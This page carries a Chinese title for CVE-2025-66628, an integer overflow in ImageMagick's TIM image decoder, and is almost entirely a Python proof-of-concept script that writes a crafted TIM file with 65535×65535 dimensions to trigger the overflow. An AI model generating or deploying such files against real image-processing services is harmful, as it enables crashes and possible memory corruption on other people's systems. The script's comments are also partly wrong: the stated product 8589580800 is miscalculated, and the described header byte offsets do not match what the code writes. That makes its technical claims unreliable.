CVE-2025-66628 ImageMagick TIM图像解析器整数溢出漏洞

import struct import sys def create_malicious_tim_file(filename, width=65535, height=65535): """ Generate a malicious TIM image file to trigger integer overflow in ImageMagick CVE-2025-66628: Integer overflow in ReadTIMImage function (coders/tim.c) The TIM file format header contains: - Width and Height as 16-bit values - Calculation: image_size = 2 * width * height - When width=height=65535: 2*65535*65535 = 8589580800 (overflows on 32-bit) """ # TIM file header structure # Bytes 0-3: TIM signature (typically 0x00000010) # Bytes 4-7: Image type and flags # Bytes 8-11: Width (16-bit, little-endian) # Bytes 12-15: Height (16-bit, little-endian) with open(filename, 'wb') as f: # TIM header f.write(struct.pack('<I', 0x00000010)) # TIM signature f.write(struct.pack('<I', 0x00000000)) # Type/flags f.write(struct.pack('<H', width)) # Width (16-bit) f.write(struct.pack('<H', height)) # Height (16-bit) # Add minimal image data to pass initial validation # The overflow occurs during size calculation before data validation f.write(b'\x00' * 16) print(f"Malicious TIM file created: {filename}") print(f"Width: {width}, Height: {height}") print(f"Calculated size: {2 * width * height}") print(f"On 32-bit systems, this will overflow and wrap to: {(2 * width * height) & 0xFFFFFFFF}") if __name__ == '__main__': if len(sys.argv) > 1: create_malicious_tim_file(sys.argv[1]) else: create_malicious_tim_file('exploit_cve_2025_66628.tim')